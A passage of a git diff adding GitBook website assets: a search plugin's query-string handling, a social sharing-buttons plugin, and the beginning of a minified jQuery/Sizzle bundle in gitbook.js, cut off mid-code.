== 'value') { + handleUpdate(); + } + }); + + // HTML5 (IE9 & others) + $searchInput.on('input', function(e) { + // Unbind propertychange event for IE9+ + if (!propertyChangeUnbound) { + $(this).unbind('propertychange'); + propertyChangeUnbound = true; + } + + handleUpdate(); + }); + + // Push to history on blur + $searchInput.on('blur', function(e) { + // Update history state + if (usePushState) { + var uri = updateQueryString('q', $(this).val()); + history.pushState({ path: uri }, null, uri); + } + }); + } + + gitbook.events.on('page.change', function() { + bindSearch(); + closeSearch(); + + // Launch search based on query parameter + if (gitbook.search.isInitialized()) { + launchSearchFromQueryString(); + } + }); + + gitbook.events.on('search.ready', function() { + bindSearch(); + + // Launch search from query param at start + launchSearchFromQueryString(); + }); + + function getParameterByName(name) { + var url = window.location.href; + name = name.replace(/[\[\]]/g, '\\$&'); + var regex = new RegExp('[?&]' + name + '(=([^&#]*)|&|#|$)', 'i'), + results = regex.exec(url); + if (!results) return null; + if (!results[2]) return ''; + return decodeURIComponent(results[2].replace(/\+/g, ' ')); + } + + function updateQueryString(key, value) { + value = encodeURIComponent(value); + + var url = window.location.href; + var re = new RegExp('([?&])' + key + '=.*?(&|#|$)(.*)', 'gi'), + hash; + + if (re.test(url)) { + if (typeof value !== 'undefined' && value !== null) + return url.replace(re, '$1' + key + '=' + value + '$2$3'); + else { + hash = url.split('#'); + url = hash[0].replace(re, '$1$3').replace(/(&|\?)$/, ''); + if (typeof hash[1] !== 'undefined' && hash[1] !== null) + url += '#' + hash[1]; + return url; + } + } + else { + if (typeof value !== 'undefined' && value !== null) { + var separator = url.indexOf('?') !== -1 ? '&' : '?'; + hash = url.split('#'); + url = hash[0] + separator + key + '=' + value; + if (typeof hash[1] !== 'undefined' && hash[1] !== null) + url += '#' + hash[1]; + return url; + } + else + return url; + } + } +}); diff --git a/gitbook/gitbook-plugin-sharing/buttons.js b/gitbook/gitbook-plugin-sharing/buttons.js new file mode 100644 index 0000000..709a4e4 --- /dev/null +++ b/gitbook/gitbook-plugin-sharing/buttons.js @@ -0,0 +1,90 @@ +require(['gitbook', 'jquery'], function(gitbook, $) { + var SITES = { + 'facebook': { + 'label': 'Facebook', + 'icon': 'fa fa-facebook', + 'onClick': function(e) { + e.preventDefault(); + window.open('http://www.facebook.com/sharer/sharer.php?s=100&p[url]='+encodeURIComponent(location.href)); + } + }, + 'twitter': { + 'label': 'Twitter', + 'icon': 'fa fa-twitter', + 'onClick': function(e) { + e.preventDefault(); + window.open('http://twitter.com/home?status='+encodeURIComponent(document.title+' '+location.href)); + } + }, + 'google': { + 'label': 'Google+', + 'icon': 'fa fa-google-plus', + 'onClick': function(e) { + e.preventDefault(); + window.open('https://plus.google.com/share?url='+encodeURIComponent(location.href)); + } + }, + 'weibo': { + 'label': 'Weibo', + 'icon': 'fa fa-weibo', + 'onClick': function(e) { + e.preventDefault(); + window.open('http://service.weibo.com/share/share.php?content=utf-8&url='+encodeURIComponent(location.href)+'&title='+encodeURIComponent(document.title)); + } + }, + 'instapaper': { + 'label': 'Instapaper', + 'icon': 'fa fa-instapaper', + 'onClick': function(e) { + e.preventDefault(); + window.open('http://www.instapaper.com/text?u='+encodeURIComponent(location.href)); + } + }, + 'vk': { + 'label': 'VK', + 'icon': 'fa fa-vk', + 'onClick': function(e) { + e.preventDefault(); + window.open('http://vkontakte.ru/share.php?url='+encodeURIComponent(location.href)); + } + } + }; + + + + gitbook.events.bind('start', function(e, config) { + var opts = config.sharing; + + // Create dropdown menu + var menu = $.map(opts.all, function(id) { + var site = SITES[id]; + + return { + text: site.label, + onClick: site.onClick + }; + }); + + // Create main button with dropdown + if (menu.length > 0) { + gitbook.toolbar.createButton({ + icon: 'fa fa-share-alt', + label: 'Share', + position: 'right', + dropdown: [menu] + }); + } + + // Direct actions to share + $.each(SITES, function(sideId, site) { + if (!opts[sideId]) return; + + gitbook.toolbar.createButton({ + icon: site.icon, + label: site.text, + position: 'right', + onClick: site.onClick + }); + }); + }); +}); diff --git a/gitbook/gitbook.js b/gitbook/gitbook.js new file mode 100644 index 0000000..13077b4 --- /dev/null +++ b/gitbook/gitbook.js @@ -0,0 +1,4 @@ +!function e(t,n,r){function o(s,a){if(!n[s]){if(!t[s]){var u="function"==typeof require&&require;if(!a&&u)return u(s,!0);if(i)return i(s,!0);var c=new Error("Cannot find module '"+s+"'");throw c.code="MODULE_NOT_FOUND",c}var l=n[s]={exports:{}};t[s][0].call(l.exports,function(e){var n=t[s][1][e];return o(n?n:e)},l,l.exports,e,t,n,r)}return n[s].exports}for(var i="function"==typeof require&&require,s=0;s0&&t-1 in e)}function o(e,t,n){return de.isFunction(t)?de.grep(e,function(e,r){return!!t.call(e,r,e)!==n}):t.nodeType?de.grep(e,function(e){return e===t!==n}):"string"!=typeof t?de.grep(e,function(e){return se.call(t,e)>-1!==n}):je.test(t)?de.filter(t,e,n):(t=de.filter(t,e),de.grep(e,function(e){return se.call(t,e)>-1!==n&&1===e.nodeType}))}function i(e,t){for(;(e=e[t])&&1!==e.nodeType;);return e}function s(e){var t={};return de.each(e.match(qe)||[],function(e,n){t[n]=!0}),t}function a(e){return e}function u(e){throw e}function c(e,t,n){var r;try{e&&de.isFunction(r=e.promise)?r.call(e).done(t).fail(n):e&&de.isFunction(r=e.then)?r.call(e,t,n):t.call(void 0,e)}catch(e){n.call(void 0,e)}}function l(){te.removeEventListener("DOMContentLoaded",l),e.removeEventListener("load",l),de.ready()}function f(){this.expando=de.expando+f.uid++}function p(e){return"true"===e||"false"!==e&&("null"===e?null:e===+e+""?+e:Ie.test(e)?JSON.parse(e):e)}function h(e,t,n){var r;if(void 0===n&&1===e.nodeType)if(r="data-"+t.replace(Pe,"-$&").toLowerCase(),n=e.getAttribute(r),"string"==typeof n){try{n=p(n)}catch(e){}Re.set(e,t,n)}else n=void 0;return n}function d(e,t,n,r){var o,i=1,s=20,a=r?function(){return r.cur()}:function(){return de.css(e,t,"")},u=a(),c=n&&n[3]||(de.cssNumber[t]?"":"px"),l=(de.cssNumber[t]||"px"!==c&&+u)&&$e.exec(de.css(e,t));if(l&&l[3]!==c){c=c||l[3],n=n||[],l=+u||1;do i=i||".5",l/=i,de.style(e,t,l+c);while(i!==(i=a()/u)&&1!==i&&--s)}return n&&(l=+l||+u||0,o=n[1]?l+(n[1]+1)*n[2]:+n[2],r&&(r.unit=c,r.start=l,r.end=o)),o}function g(e){var t,n=e.ownerDocument,r=e.nodeName,o=Ue[r];return o?o:(t=n.body.appendChild(n.createElement(r)),o=de.css(t,"display"),t.parentNode.removeChild(t),"none"===o&&(o="block"),Ue[r]=o,o)}function m(e,t){for(var n,r,o=[],i=0,s=e.length;i-1)o&&o.push(i);else if(c=de.contains(i.ownerDocument,i),s=v(f.appendChild(i),"script"),c&&y(s),n)for(l=0;i=s[l++];)Ve.test(i.type||"")&&n.push(i);return f}function b(){return!0}function w(){return!1}function T(){try{return te.activeElement}catch(e){}}function C(e,t,n,r,o,i){var s,a;if("object"==typeof t){"string"!=typeof n&&(r=r||n,n=void 0);for(a in t)C(e,a,n,r,t[a],i);return e}if(null==r&&null==o?(o=n,r=n=void 0):null==o&&("string"==typeof n?(o=r,r=void 0):(o=r,r=n,n=void 0)),o===!1)o=w;else if(!o)return e;return 1===i&&(s=o,o=function(e){return de().off(e),s.apply(this,arguments)},o.guid=s.guid||(s.guid=de.guid++)),e.each(function(){de.event.add(this,t,o,r,n)})}function j(e,t){return de.nodeName(e,"table")&&de.nodeName(11!==t.nodeType?t:t.firstChild,"tr")?e.getElementsByTagName("tbody")[0]||e:e}function k(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function E(e){var t=rt.exec(e.type);return t?e.type=t[1]:e.removeAttribute("type"),e}function S(e,t){var n,r,o,i,s,a,u,c;if(1===t.nodeType){if(Fe.hasData(e)&&(i=Fe.access(e),s=Fe.set(t,i),c=i.events)){delete s.handle,s.events={};for(o in c)for(n=0,r=c[o].length;n1&&"string"==typeof d&&!pe.checkClone&&nt.test(d))return e.each(function(n){var i=e.eq(n);g&&(t[0]=d.call(this,n,i.html())),A(i,t,r,o)});if(p&&(i=x(t,e[0].ownerDocument,!1,e,o),s=i.firstChild,1===i.childNodes.length&&(i=s),s||o)){for(a=de.map(v(i,"script"),k),u=a.length;f=0&&nC.cacheLength&&delete e[t.shift()],e[n+" "]=r}var t=[];return e}function r(e){return e[$]=!0,e}function o(e){var t=L.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function i(e,t){for(var n=e.split("|"),r=n.length;r--;)C.attrHandle[n[r]]=t}function s(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)for(;n=n.nextSibling;)if(n===t)return-1;return e?1:-1}function a(e){return function(t){var n=t.nodeName.toLowerCase();return"input"===n&&t.type===e}}function u(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function c(e){return function(t){return"form"in t?t.parentNode&&t.disabled===!1?"label"in t?"label"in t.parentNode?t.parentNode.disabled===e:t.disabled===e:t.isDisabled===e||t.isDisabled!==!e&&je(t)===e:t.disabled===e:"label"in t&&t.disabled===e}}function l(e){return r(function(t){return t=+t,r(function(n,r){for(var o,i=e([],n.length,t),s=i.length;s--;)n[o=i[s]]&&(n[o]=!(r[o]=n[o]))})})}function f(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}function p(){}function h(e){for(var t=0,n=e.length,r="";t1?function(t,n,r){for(var o=e.length;o--;)if(!e[o](t,n,r))return!1;return!0}:e[0]}function m(e,n,r){for(var o=0,i=n.length;o-1&&(r[c]=!(s[c]=f))}}else x=v(x===s?x.splice(d,x.length):x),i?i(null,s,x,u):K.apply(s,x)})}function x(e){for(var t,n,r,o=e.length,i=C.relative[e[0].type],s=i||C.relative[" "],a=i?1:0,u=d(function(e){return e===t},s,!0),c=d(function(e){return ee(t,e)>-1},s,!0),l=[function(e,n,r){var o=!i&&(r||n!==A)||((t=n).nodeType?u(e,n,r):c(e,n,r));return t=null,o}];a1&&g(l),a>1&&h(e.slice(0,a-1).concat({value:" "===e[a-2].type?"*":""})).replace(ae,"$1"),n,a0,i=e.length>0,s=function(r,s,a,u,c){var l,f,p,h=0,d="0",g=r&&[],m=[],y=A,x=r||i&&C.find.TAG("*",c),b=B+=null==y?1:Math.random()||.1,w=x.length;for(c&&(A=s===L||s||c);d!==w&&null!=(l=x[d]);d++){if(i&&l){for(f=0,s||l.ownerDocument===L||(O(l),a=!F);p=e[f++];)if(p(l,s||L,a)){u.push(l);break}c&&(B=b)}o&&((l=!p&&l)&&h--,r&&g.push(l))}if(h+=d,o&&d!==h){for(f=0;p=n[f++];)p(g,m,s,a);if(r){if(h>0)for(;d--;)g[d]||m[d]||(m[d]=Q.call(u));m=v(m)}K.apply(u,m),c&&!r&&m.length>0&&h+n.length>1&&t.uniqueSort(u)}return c&&(B=b,A=y),g};return o?r(s):s}var w,T,C,j,k,E,S,N,A,q,D,O,L,H,F,R,I,P,M,$="sizzle"+1*new Date,W=e.document,B=0,_=0,U=n(),z=n(),X=n(),V=function(e,t){return e===t&&(D=!0),0},G={}.hasOwnProperty,Y=[],Q=Y.pop,J=Y.push,K=Y.push,Z=Y.slice,ee=function(e,t){for(var n=0,r=e.length;n+~]|"+ne+")"+ne+"*"),le=new RegExp("="+ne+"*([^\\]'\"]*?)"+ne+"*\\]","g"),fe=new RegExp(ie),pe=new RegExp("^"+re+"$"),he={ID:new RegExp("^#("+re+")"),CLASS:new RegExp("^\\.("+re+")"),TAG:new RegExp("^("+re+"|[*])"),ATTR:new RegExp("^"+oe),PSEUDO:new RegExp("^"+ie),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+ne+"*(even|odd|(([+-]|)(\\d*)n|)"+ne+"*(?:([+-]|)"+ne+"*(\\d+)|))"+ne+"*\\)|)","i"),bool:new RegExp("^(?:"+te+")$","i"),needsContext:new RegExp("^"+ne+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+ne+"*((?:-\\d)?\\d*)"+ne+"*\\)|)(?=[^-]|$)","i")},de=/^(?:input|select|textarea|button)$/i,ge=/^h\d$/i,me=/^[^{]+\{\s*\[native \w/,ve=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,ye=/[+~]/,xe=new RegExp("\\\\([\\da-f]{1,6}"+ne+"?|("+ne+")|.)","ig"),be=function(e,t,n){var r="0x"+t-65536;return r!==r||n?t:r<0?String.fromCharCode(r+65536):String.fromCharCode(r>>10|55296,1023&r|56320)},we=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,Te=function(e,t){return t?"\0"===e?"๏ฟฝ":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},Ce=function(){O()},je=d(function(e){return e.disabled===!0&&("form"in e||"label"in e)},{dir:"parentNode",next:"legend"});try{K.apply(Y=Z.call(W.childNodes),W.childNodes),Y[W.childNodes.length].nodeType}catch(e){K={apply:Y.length?function(e,t){J.apply(e,Z.call(t))}:function(e,t){for(var n=e.length,r=0;e[n++]=t[r++];);e.length=n-1}}}T=t.support={},k=t.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return!!t&&"HTML"!==t.nodeName},O=t.setDocument=function(e){var t,n,r=e?e.ownerDocument||e:W;return r!==L&&9===r.nodeType&&r.documentElement?(L=r,H=L.documentElement,F=!k(L),W!==L&&(n=L.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",Ce,!1):n.attachEvent&&n.attachEvent("onunload",Ce)),T.attributes=o(function(e){return e.className="i",!e.getAttribute("className")}),T.getElementsByTagName=o(function(e){return e.appendChild(L.createComment("")),!e.getElementsByTagName("*").length}),T.getElementsByClassName=me.test(L.getElementsByClassName),T.getById=o(function(e){return H.appendChild(e).id=$,!L.getElementsByName||!L.getElementsByName($).length}),T.getById?(C.filter.ID=function(e){var t=e.replace(xe,be);return function(e){return e.getAttribute("id")===t}},C.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&F){var n=t.getElementById(e);return n?[n]:[]}}):(C.filter.ID=function(e){var t=e.replace(xe,be);return function(e){var n="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return n&&n.value===t}},C.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&F){var n,r,o,i=t.getElementById(e);if(i){if(n=i.getAttributeNode("id"),n&&n.value===e)return[i];for(o=t.getElementsByName(e),r=0;i=o[r++];)if(n=i.getAttributeNode("id"),n&&n.value===e)return[i]}return[]}}),C.find.TAG=T.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):T.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],o=0,i=t.getElementsByTagName(e);if("*"===e){for(;n=i[o++];)1===n.nodeType&&r.push(n);return r}return i},C.find.CLASS=T.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&F)return t.getElementsByClassName(e)},I=[],R=[],(T.qsa=me.test(L.querySelectorAll))&&(o(function(e){H.appendChild(e).innerHTML="",e.querySelectorAll("[msallowcapture^='']").length&&R.push("[*^$]="+ne+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||R.push("\\["+ne+"*(?:value|"+te+")"),e.querySelectorAll("[id~="+$+"-]").length||R.push("~="),e.querySelectorAll(":checked").length||R.push(":checked"),e.querySelectorAll("a#"+$+"+*").length||R.push(".#.+[+~]")}),o(function(e){e.innerHTML="";var t=L.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&R.push("name"+ne+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&R.push(":enabled",":disabled"),H.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&R.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),R.push(",.*:")})),(T.matchesSelector=me.test(P=H.matches||H.webkitMatchesSelector||H.mozMatchesSelector||H.oMatchesSelector||H.msMatchesSelector))&&o(function(e){T.disconnectedMatch=P.call(e,"*"),P.call(e,"[s!='']:x"),I.push("!=",ie)}),R=R.length&&new RegExp(R.join("|")),I=I.length&&new RegExp(I.join("|")),t=me.test(H.compareDocumentPosition),M=t||me.test(H.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)for(;t=t.parentNode;)if(t===e)return!0;return!1},V=t?function(e,t){if(e===t)return D=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n?n:(n=(e.ownerDocument||e)===(t.ownerDocument||t)?e.compareDocumentPosition(t):1,1&n||!T.sortDetached&&t.compareDocumentPosition(e)===n?e===L||e.ownerDocument===W&&M(W,e)?-1:t===L||t.ownerDocument===W&&M(W,t)?1:q?ee(q,e)-ee(q,t):0:4&n?-1:1)}:function(e,t){if(e===t)return D=!0,0;var n,r=0,o=e.parentNode,i=t.parentNode,a=[e],u=[t];if(!o||!i)return e===L?-1:t===L?1:o?-1:i?1:q?ee(q,e)-ee(q,t):0;if(o===i)return s(e,t);for(n=e;n=n.parentNode;)a.unshift(n);for(n=t;n=n.parentNode;)u.unshift(n);for(;a[r]===u[r];)r++;return r?s(a[r],u[r]):a[r]===W?-1:u[r]===W?1:0},L):L},t.matches=function(e,n){return t(e,null,null,n)},t.matchesSelector=function(e,n){if((e.ownerDocument||e)!==L&&O(e),n=n.replace(le,"='$1']"),T.matchesSelector&&F&&!X[n+" "]&&(!I||!I.test(n))&&(!R||!R.test(n)))try{var r=P.call(e,n);if(r||T.disconnectedMatch||e.document&&11!==e.document.nodeType)return r}catch(e){}return t(n,L,null,[e]).length>0},t.contains=function(e,t){return(e.ownerDocument||e)!==L&&O(e),M(e,t)},t.attr=function(e,t){(e.ownerDocument||e)!==L&&O(e);var n=C.attrHandle[t.toLowerCase()],r=n&&G.call(C.attrHandle,t.toLowerCase())?n(e,t,!F):void 0;return void 0!==r?r:T.attributes||!F?e.getAttribute(t):(r=e.getAttributeNode(t))&&r.specified?r.value:null},t.escape=function(e){return(e+"").replace(we,Te)},t.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},t.uniqueSort=function(e){var t,n=[],r=0,o=0;if(D=!T.detectDuplicates,q=!T.sortStable&&e.slice(0),e.sort(V),D){for(;t=e[o++];)t===e[o]&&(r=n.push(o));for(;r--;)e.splice(n[r],1)}return q=null,e},j=t.getText=function(e){var t,n="",r=0,o=e.nodeType;if(o){if(1===o||9===o||11===o){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=j(e)}else if(3===o||4===o)return e.nodeValue}else for(;t=e[r++];)n+=j(t);return n},C=t.selectors={cacheLength:50,createPseudo:r,match:he,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(xe,be),e[3]=(e[3]||e[4]||e[5]||"").replace(xe,be),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||t.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&t.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return he.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&fe.test(n)&&(t=E(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(xe,be).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=U[e+" "];return t||(t=new RegExp("(^|"+ne+")"+e+"("+ne+"|$)"))&&U(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(e,n,r){return function(o){var i=t.attr(o,e);return null==i?"!="===n:!n||(i+="","="===n?i===r:"!="===n?i!==r:"^="===n?r&&0===i.indexOf(r):"*="===n?r&&i.indexOf(r)>-1:"$="===n?r&&i.slice(-r.length)===r:"~="===n?(" "+i.replace(se," ")+" ").indexOf(r)>-1:"|="===n&&(i===r||i.slice(0,r.length+1)===r+"-"))}},CHILD:function(e,t,n,r,o){var i="nth"!==e.slice(0,3),s="last"!==e.slice(-4),a="of-type"===t;return 1===r&&0===o?function(e){return!!e.parentNode}:function(t,n,u){var c,l,f,p,h,d,g=i!==s?"nextSibling":"previousSibling",m=t.parentNode,v=a&&t.nodeName.toLowerCase(),y=!u&&!a,x=!1;if(m){if(i){for(;g;){for(p=t;p=p[g];)if(a?p.nodeName.toLowerCase()===v:1===p.nodeType)return!1;d=g="only"===e&&!d&&"nextSibling"}return!0}if(d=[s?m.firstChild:m.lastChild],s&&y){for(p=m,f=p[$]||(p[$]={}),l=f[p.uniqueID]||(f[p.uniqueID]={}),c=l[e]||[],h=c[0]===B&&c[1],x=h&&c[2],p=h&&m.childNodes[h];p=++h&&p&&p[g]||(x=h=0)||d.pop();)if(1===p.nodeType&&++x&&p===t){l[e]=[B,h,x];break}}else if(y&&(p=t,f=p[$]||(p[$]={}),l=f[p.uniqueID]||(f[p.uniqueID]={}),c=l[e]||[],h=c[0]===B&&c[1],x=h),x===!1)for(;(p=++h&&p&&p[g]||(x=h=0)||d.pop())&&((a?p.nodeName.toLowerCase()!==v:1!==p.nodeType)||!++x||(y&&(f=p[$]||(p[$]={}),l=f[p.uniqueID]||(f[p.uniqueID]={}),l[e]=[B,x]),p!==t)););return x-=o,x===r||x%r===0&&x/r>=0}}},PSEUDO:function(e,n){var o,i=C.pseudos[e]||C.setFilters[e.toLowerCase()]||t.error("unsupported pseudo: "+e);return i[$]?i(n):i.length>1?(o=[e,e,"",n],C.setFilters.hasOwnProperty(e.toLowerCase())?r(function(e,t){for(var r,o=i(e,n),s=o.length;s--;)r=ee(e,o[s]),e[r]=!(t[r]=o[s])}):function(e){return i(e,0,o)}):i}},pseudos:{not:r(function(e){var t=[],n=[],o=S(e.replace(ae,"$1"));return o[$]?r(function(e,t,n,r){for(var i,s=o(e,null,r,[]),a=e.length;a--;)(i=s[a])&&(e[a]=!(t[a]=i))}):function(e,r,i){return t[0]=e,o(t,null,i,n),t[0]=null,!n.pop()}}),has:r(function(e){return function(n){ +return t(e,n).length>0}}),contains:r(function(e){return e=e.replace(xe,be),function(t){return(t.textContent||t.innerText||j(t)).indexOf(e)>-1}}),lang:r(function(e){return pe.test(e||"")||t.error("unsupported lang: "+e),e=e.replace(xe,be).toLowerCase(),function(t){var n;do if(n=F?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang"))return n=n.toLowerCase(),n===e||0===n.indexOf(e+"-");while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===H},focus:function(e){return e===L.activeElement&&(!L.hasFocus||L.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:c(!1),disabled:c(!0),checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,e.selected===!0},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!C.pseudos.empty(e)},header:function(e){return ge.test(e.nodeName)},input:function(e){return de.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:l(function(){return[0]}),last:l(function(e,t){return[t-1]}),eq:l(function(e,t,n){return[n<0?n+t:n]}),even:l(function(e,t){for(var n=0;n=0;)e.push(r);return e}),gt:l(function(e,t,n){for(var r=n<0?n+t:n;++r2&&"ID"===(s=i[0]).type&&9===t.nodeType&&F&&C.relative[i[1].type]){if(t=(C.find.ID(s.matches[0].replace(xe,be),t)||[])[0],!t)return n;c&&(t=t.parentNode),e=e.slice(i.shift().value.length)}for(o=he.needsContext.test(e)?0:i.length;o--&&(s=i[o],!C.relative[a=s.type]);)if((u=C.find[a])&&(r=u(s.matches[0].replace(xe,be),ye.test(i[0].type)&&f(t.parentNode)||t))){if(i.splice(o,1),e=r.length&&h(i),!e)return K.apply(n,r),n;break}}return(c||S(e,l))(r,t,!F,n,!t||ye.test(e)&&f(t.parentNode)||t),n},T.sortStable=$.split("").sort(V).join("")===$,T.detectDuplicates=!!D,O(),T.sortDetached=o(function(e){return 1&e.compareDocumentPosition(L.createElement("fieldset"))}),o(function(e){return e.innerHTML="","#"===e.firstChild.getAttribute("href")})||i("type|href|height|width",function(e,t,n){if(!n)return e.getAttribute(t,"type"===t.toLowerCase()?1:2)}),T.attributes&&o(function(e){return e.innerHTML="",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||i("value",function(e,t,n){if(!n&&"input"===e.nodeName.toLowerCase())return e.defaultValue}),o(function(e){return null==e.getAttribute("disabled")})||i(te,function(e,t,n){var r;if(!n)return e[t]===!0?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null}),t}(e);de.find=xe,de.expr=xe.selectors,de.expr[":"]=de.expr.pseudos,de.uniqueSort=de.unique=xe.uniqueSort,de.text=xe.getText,de.isXMLDoc=xe.isXML,de.contains=xe.contains,de.escapeSelector=xe.escape;var be=function(e,t,n){for(var r=[],o=void 0!==n;(e=e[t])&&9!==e.nodeType;)if(1===e.nodeType){if(o&&de(e).is(n))break;r.push(e)}return r},we=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},Te=de.expr.match.needsContext,Ce=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i,je=/^.[^:#\[\.,]*$/;de.filter=function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?de.find.matchesSelector(r,e)?[r]:[]:de.find.matches(e,de.grep(t,function(e){return 1===e.nodeType}))},de.fn.extend({find:function(e){var t,n,r=this.length,o=this;if("string"!=typeof e)return this.pushStack(de(e).filter(function(){for(t=0;t1?de.uniqueSort(n):n},filter:function(e){return this.pushStack(o(this,e||[],!1))},not:function(e){return this.pushStack(o(this,e||[],!0))},is:function(e){return!!o(this,"string"==typeof e&&Te.test(e)?de(e):e||[],!1).length}});var ke,Ee=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/,Se=de.fn.init=function(e,t,n){var r,o;if(!e)return this;if(n=n||ke,"string"==typeof e){if(r="<"===e[0]&&">"===e[e.length-1]&&e.length>=3?[null,e,null]:Ee.exec(e),!r||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof de?t[0]:t,de.merge(this,de.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:te,!0)),Ce.test(r[1])&&de.isPlainObject(t))for(r in t)de.isFunction(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}return o=te.getElementById(r[2]),o&&(this[0]=o,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):de.isFunction(e)?void 0!==n.ready?n.ready(e):e(de):de.makeArray(e,this)};Se.prototype=de.fn,ke=de(te);var Ne=/^(?:parents|prev(?:Until|All))/,Ae={children:!0,contents:!0,next:!0,prev:!0};de.fn.extend({has:function(e){var t=de(e,this),n=t.length;return this.filter(function(){for(var e=0;e-1:1===n.nodeType&&de.find.matchesSelector(n,e))){i.push(n);break}return this.pushStack(i.length>1?de.uniqueSort(i):i)},index:function(e){return e?"string"==typeof e?se.call(de(e),this[0]):se.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(de.uniqueSort(de.merge(this.get(),de(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}}),de.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return be(e,"parentNode")},parentsUntil:function(e,t,n){return be(e,"parentNode",n)},next:function(e){return i(e,"nextSibling")},prev:function(e){return i(e,"previousSibling")},nextAll:function(e){return be(e,"nextSibling")},prevAll:function(e){return be(e,"previousSibling")},nextUntil:function(e,t,n){return be(e,"nextSibling",n)},prevUntil:function(e,t,n){return be(e,"previousSibling",n)},siblings:function(e){return we((e.parentNode||{}).firstChild,e)},children:function(e){return we(e.firstChild)},contents:function(e){return e.contentDocument||de.merge([],e.childNodes)}},function(e,t){de.fn[e]=function(n,r){var o=de.map(this,t,n);return"Until"!==e.slice(-5)&&(r=n),r&&"string"==typeof r&&(o=de.filter(r,o)),this.length>1&&(Ae[e]||de.uniqueSort(o),Ne.test(e)&&o.reverse()),this.pushStack(o)}});var qe=/[^\x20\t\r\n\f]+/g;de.Callbacks=function(e){e="string"==typeof e?s(e):de.extend({},e);var t,n,r,o,i=[],a=[],u=-1,c=function(){for(o=e.once,r=t=!0;a.length;u=-1)for(n=a.shift();++u-1;)i.splice(n,1),n<=u&&u--}),this},has:function(e){return 